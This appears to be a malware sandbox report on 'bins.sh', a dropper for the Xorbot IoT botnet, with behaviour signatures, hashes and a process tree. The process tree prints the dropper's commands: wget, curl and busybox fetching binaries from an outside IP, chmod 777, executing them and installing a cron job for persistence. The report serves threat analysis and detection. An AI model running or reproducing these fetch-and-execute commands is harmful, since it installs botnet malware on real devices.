Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    05/01/2025, 04:17

Sharing

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250105-ewcpratmbq
  • SHA256 c72772c053710f5d8e33f7c82811e588b2a2b25e5b9a56bfbc20c8255ba954c9
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2032) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:706
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://66.63.187.225/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Writes file to tmp directory
          PID:712
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Writes file to tmp directory
          PID:734
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Writes file to tmp directory
          PID:736
        • /bin/chmod
          chmod 777 ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          ./ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Executes dropped EXE
          PID:738
        • /bin/rm
          rm ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
            PID:740
          • /usr/bin/wget
            wget http://66.63.187.225/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • Writes file to tmp directory
            PID:741
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:742
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/chmod
            chmod 777 TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • File and Directory Permissions Modification
            PID:748
          • /tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            ./TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:749
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:752
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:753
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:755
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:756
              • /bin/rm
                rm TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
                2⤵
                  PID:766
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
                  2⤵
                    PID:771
                  • /usr/bin/curl
                    curl -O http://66.63.187.225/bins/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
                    2⤵
                      PID:773

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
                        • Path /tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
                        • Size 151KB
                        • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
                        • Path /tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
                        • Size 98KB
                        • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        tmp.XxHDhg
                        • Path /var/spool/cron/crontabs/tmp.XxHDhg
                        • Size 210B
                        • SHA256 1fa98db09f0061f15dfa5c048905d22de722dbe1cbeae94bca42be5671c51a44
                        • MD5 SHA1 SHA512
                        Submit Download